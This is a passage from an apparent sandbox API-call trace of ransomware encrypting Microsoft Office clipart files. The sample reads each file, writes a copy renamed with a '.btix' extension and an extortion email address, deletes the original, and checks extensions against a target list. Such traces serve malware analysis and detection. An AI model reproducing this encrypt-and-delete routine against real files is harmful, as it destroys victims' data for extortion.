lpNewFilePointer=0x0) returned 1 [0149.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0149.254] GetLastError () returned 0x0 [0149.254] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3682, lpOverlapped=0x0) returned 1 [0149.459] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3690, lpOverlapped=0x0) returned 1 [0149.720] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.721] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.721] SetEndOfFile (hFile=0x378) returned 1 [0149.721] CloseHandle (hObject=0x378) returned 1 [0149.721] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.721] SetEndOfFile (hFile=0x374) returned 1 [0149.722] CloseHandle (hObject=0x374) returned 1 [0149.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0149.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0149.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0149.723] lstrlenW (lpString=".doc") returned 4 [0149.723] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.723] lstrlenW (lpString=".docx") returned 5 [0149.723] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0149.723] lstrlenW (lpString=".pdf") returned 4 [0149.723] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.723] lstrlenW (lpString=".xls") returned 4 [0149.723] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.723] lstrlenW (lpString=".xlsx") returned 5 [0149.723] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0149.723] lstrlenW (lpString=".ppt") returned 4 [0149.723] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0149.723] lstrlenW (lpString=".zip") returned 4 [0149.723] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.724] lstrlenW (lpString=".rar") returned 4 [0149.724] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.724] lstrlenW (lpString=".bz2") returned 4 [0149.724] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.724] lstrlenW (lpString=".7z") returned 3 [0149.724] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0149.724] lstrlenW (lpString=".dbf") returned 4 [0149.724] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0149.724] lstrlenW (lpString=".1cd") returned 4 [0149.724] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0149.724] lstrlenW (lpString=".jpg") returned 4 [0149.724] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0149.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0149.725] lstrlenW (lpString=".doc") returned 4 [0149.725] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.725] lstrlenW (lpString=".docx") returned 5 [0149.725] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0149.725] lstrlenW (lpString=".pdf") returned 4 [0149.725] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.725] lstrlenW (lpString=".xls") returned 4 [0149.725] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.725] lstrlenW (lpString=".xlsx") returned 5 [0149.725] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0149.725] lstrlenW (lpString=".ppt") returned 4 [0149.725] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0149.725] lstrlenW (lpString=".zip") returned 4 [0149.725] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.725] lstrlenW (lpString=".rar") returned 4 [0149.725] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.725] lstrlenW (lpString=".bz2") returned 4 [0149.725] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.725] lstrlenW (lpString=".7z") returned 3 [0149.725] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0149.725] lstrlenW (lpString=".dbf") returned 4 [0149.725] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0149.725] lstrlenW (lpString=".1cd") returned 4 [0149.725] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0149.725] lstrlenW (lpString=".jpg") returned 4 [0149.726] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.726] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0149.726] lstrlenW (lpString="J0099170.WMF") returned 12 [0149.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.726] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=24292) returned 1 [0149.726] CloseHandle (hObject=0x374) returned 1 [0149.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220 [0149.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.727] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.727] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0149.728] GetLastError () returned 0x0 [0149.728] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x5ee4, lpOverlapped=0x0) returned 1 [0149.729] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x5ef0, lpOverlapped=0x0) returned 1 [0149.730] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.730] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.731] SetEndOfFile (hFile=0x378) returned 1 [0149.731] CloseHandle (hObject=0x378) returned 1 [0149.731] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.731] SetEndOfFile (hFile=0x374) returned 1 [0149.732] CloseHandle (hObject=0x374) returned 1 [0149.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0149.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0149.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0149.733] lstrlenW (lpString=".doc") returned 4 [0149.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.733] lstrlenW (lpString=".docx") returned 5 [0149.733] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0149.733] lstrlenW (lpString=".pdf") returned 4 [0149.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.733] lstrlenW (lpString=".xls") returned 4 [0149.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.733] lstrlenW (lpString=".xlsx") returned 5 [0149.733] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0149.733] lstrlenW (lpString=".ppt") returned 4 [0149.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0149.733] lstrlenW (lpString=".zip") returned 4 [0149.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.733] lstrlenW (lpString=".rar") returned 4 [0149.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.733] lstrlenW (lpString=".bz2") returned 4 [0149.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.734] lstrlenW (lpString=".7z") returned 3 [0149.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0149.734] lstrlenW (lpString=".dbf") returned 4 [0149.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0149.734] lstrlenW (lpString=".1cd") returned 4 [0149.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0149.734] lstrlenW (lpString=".jpg") returned 4 [0149.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0149.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0149.734] lstrlenW (lpString=".doc") returned 4 [0149.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.734] lstrlenW (lpString=".docx") returned 5 [0149.734] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0149.734] lstrlenW (lpString=".pdf") returned 4 [0149.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.734] lstrlenW (lpString=".xls") returned 4 [0149.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.735] lstrlenW (lpString=".xlsx") returned 5 [0149.735] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0149.735] lstrlenW (lpString=".ppt") returned 4 [0149.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0149.735] lstrlenW (lpString=".zip") returned 4 [0149.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.735] lstrlenW (lpString=".rar") returned 4 [0149.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.735] lstrlenW (lpString=".bz2") returned 4 [0149.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.735] lstrlenW (lpString=".7z") returned 3 [0149.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0149.735] lstrlenW (lpString=".dbf") returned 4 [0149.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0149.735] lstrlenW (lpString=".1cd") returned 4 [0149.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0149.735] lstrlenW (lpString=".jpg") returned 4 [0149.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.736] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0149.736] lstrlenW (lpString="J0099171.WMF") returned 12 [0149.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.736] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=8754) returned 1 [0149.736] CloseHandle (hObject=0x374) returned 1 [0149.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220 [0149.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.736] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.737] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0149.737] GetLastError () returned 0x0 [0149.737] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2232, lpOverlapped=0x0) returned 1 [0149.739] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2240, lpOverlapped=0x0) returned 1 [0149.740] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.740] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0149.740] SetEndOfFile (hFile=0x378) returned 1 [0149.741] CloseHandle (hObject=0x378) returned 1 [0149.741] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.741] SetEndOfFile (hFile=0x374) returned 1 [0149.742] CloseHandle (hObject=0x374) returned 1 [0149.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.742] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0149.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0149.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0149.743] lstrlenW (lpString=".doc") returned 4 [0149.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.743] lstrlenW (lpString=".docx") returned 5 [0149.743] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0149.743] lstrlenW (lpString=".pdf") returned 4 [0149.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.743] lstrlenW (lpString=".xls") returned 4 [0149.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.743] lstrlenW (lpString=".xlsx") returned 5 [0149.743] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0149.743] lstrlenW (lpString=".ppt") returned 4 [0149.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0149.743] lstrlenW (lpString=".zip") returned 4 [0149.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.743] lstrlenW (lpString=".rar") returned 4 [0149.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.743] lstrlenW (lpString=".bz2") returned 4 [0149.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.743] lstrlenW (lpString=".7z") returned 3 [0149.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0149.743] lstrlenW (lpString=".dbf") returned 4 [0149.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0149.744] lstrlenW (lpString=".1cd") returned 4 [0149.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0149.744] lstrlenW (lpString=".jpg") returned 4 [0149.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0149.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0149.744] lstrlenW (lpString=".doc") returned 4 [0149.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.744] lstrlenW (lpString=".docx") returned 5 [0149.744] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0149.744] lstrlenW (lpString=".pdf") returned 4 [0149.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.744] lstrlenW (lpString=".xls") returned 4 [0149.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.744] lstrlenW (lpString=".xlsx") returned 5 [0149.744] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0149.744] lstrlenW (lpString=".ppt") returned 4 [0149.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0149.744] lstrlenW (lpString=".zip") returned 4 [0149.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.745] lstrlenW (lpString=".rar") returned 4 [0149.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.745] lstrlenW (lpString=".bz2") returned 4 [0149.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.745] lstrlenW (lpString=".7z") returned 3 [0149.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0149.745] lstrlenW (lpString=".dbf") returned 4 [0149.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0149.745] lstrlenW (lpString=".1cd") returned 4 [0149.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0149.745] lstrlenW (lpString=".jpg") returned 4 [0149.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.745] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0149.745] lstrlenW (lpString="J0099172.WMF") returned 12 [0149.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.746] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=58258) returned 1 [0149.746] CloseHandle (hObject=0x374) returned 1 [0149.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220 [0149.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.746] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.746] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0149.747] GetLastError () returned 0x0 [0149.747] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, 